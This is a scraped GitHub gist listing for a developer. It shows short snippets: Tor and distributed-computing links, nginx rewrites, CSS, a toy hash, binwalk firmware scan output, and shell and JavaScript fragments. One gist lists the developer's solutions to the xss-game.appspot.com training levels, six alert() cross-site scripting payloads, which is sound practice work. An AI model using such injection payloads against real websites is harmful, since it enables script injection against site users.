Skip to content

Instantly share code, notes, and snippets.

Joe Savage joesavage

Block or report user

Report or block joesavage

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
View gist:6172579
https://www.torproject.org/about/overview.html.en
https://svn.torproject.org/svn/projects/design-paper/tor-design.pdf
https://svn.torproject.org/svn/projects/roadmaps/2009-03-11-performance.pdf
https://www.torproject.org/getinvolved/relays.html.en
http://www.overclockers.com.au/wiki/Folding_Challenges,_Incentives_and_Awards
http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.114.809&rep=rep1&type=pdf
http://timreview.ca/article/657
View gist:6172587
http://boinc.berkeley.edu/
http://boinc.berkeley.edu/addon_item.php?platform=web&item=http%3A%2F%2Fapps.facebook.com%2Fprocessors%2Fnew.php
http://boinc.berkeley.edu/addon_item.php?platform=web&item=http%3A%2F%2Fapps.facebook.com%2Fboinc_milestones%2F
http://www.mersenne.org/
http://folding.stanford.edu/
http://folding.stanford.edu/home/teams-stats/
http://fold.it/portal/
View gist:7613586
# Basic Rewrites
location ~ ^(.*/)index(\.html)?$ { return 301 $scheme://$host$1; }
location ~ ^(/.+)\.html$ { return 301 $scheme://$host$1; }
location ~ /$ {
# 'try_files' > 'index', to avoid re-write/location rules.
try_files $request_uri/index.html $request_uri/index.php =404;
}
try_files $uri.html $uri/ =404;
View dabblet.css
body {
background: #222;
text-align: center;
}
input {
font-size: 1.5em;
width: 20em;
margin-top: 2em;
}
View gist:9236127
//Crazy awful hash algorithm. Created for my personal education only.
#include <stdio.h>
#include <iostream>
#include <string>
#include <sstream>
#define BYTES 8 //8 bytes = 64 bits
using std::cout;
View gist:11127228
DECIMAL HEX DESCRIPTION
-------------------------------------------------------------------------------------------------------------------
9132 0x23AC U-Boot boot loader reference
115364 0x1C2A4 Sercomm firmware signature, version control: 29184, download control: 24933, hardware ID: "d ok..!!", hardware version: 0x4547, firmware version: 0x4F46, starting code segment: 0xA21, code size: 0x0
115884 0x1C4AC HTML document footer
116084 0x1C574 HTML document header
116310 0x1C656 HTML document footer
118124 0x1CD6C HTML document footer
118152 0x1CD88 HTML document header
130970 0x1FF9A Sercomm firmware signature, version control: 0, download control: 256, hardware ID: "YS5", hardware version: 0x4100, firmware version: 0x49, starting code segment: 0x0, code size: 0x7300
View gist:11127525
DECIMAL HEXADECIMAL DESCRIPTION
------------------------------------------------------------------------------------------------------------------------------------------------------
9132 0x23AC U-Boot boot loader reference
10384 0x2890 uImage header, header size: 64 bytes, header CRC: 0x5DF640E, created: Fri Sep 25 15:20:45 2009, image size: 56666 bytes, Data Address: 0x80400000, Entry Point: 0x80400000, data CRC: 0x58BAA47, OS: Linux, CPU: MIPS, image type: Firmware Image, compression type: lzma, image name: "u-boot image"
10416 0x28B0 U-Boot boot loader reference
10448 0x28D0 LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 150884 bytes
115364 0x1C2A4 Sercomm firmware signature, version control: 29184, download control: 24933, hardware ID: "d ok..!!", hardware version: 0x4547, firmware version: 0x4F46, starting code segment: 0xA21, code size: 0x0
115884 0x1C4AC
@joesavage
joesavage / gist:052dbe526a2ca869b5a5
Created May 1, 2014
Circular 120x120 Images with ImageMagick
View gist:052dbe526a2ca869b5a5
for file in `cat filenames.txt`; do convert -size 120x120 xc:none -fill "$file" -draw "circle 60,60 40,10" "$file" ; done
View gist:eb8a9d0993d746359710
My xss-game.appspot.com Solutions
1. <script>alert('hi')</script>
2. <img src="asda" onerror="alert('hi')"/>
3. #' onerror="alert('hi')"
4. ?timer='),alert('hi
5. /signup?next=javascript:alert('hi')
6. #//www.google.com/jsapi?callback=alert
View gist:8216542605fd6ad45677
var results = {}; // Stores results of async calculations
var render = function() { /* ... render the page using 'results' ... */};
var getDatabaseRecords = function(callback) { /* ... async stuff, storing results in 'results' ... */ };
var prepareAssetPaths = function(callback) { /* ... async stuff, storing results in 'results' ... */ };
var tasks = [getDatabaseRecords, prepareAssetPaths],
params = [
[],
You can’t perform that action at this time.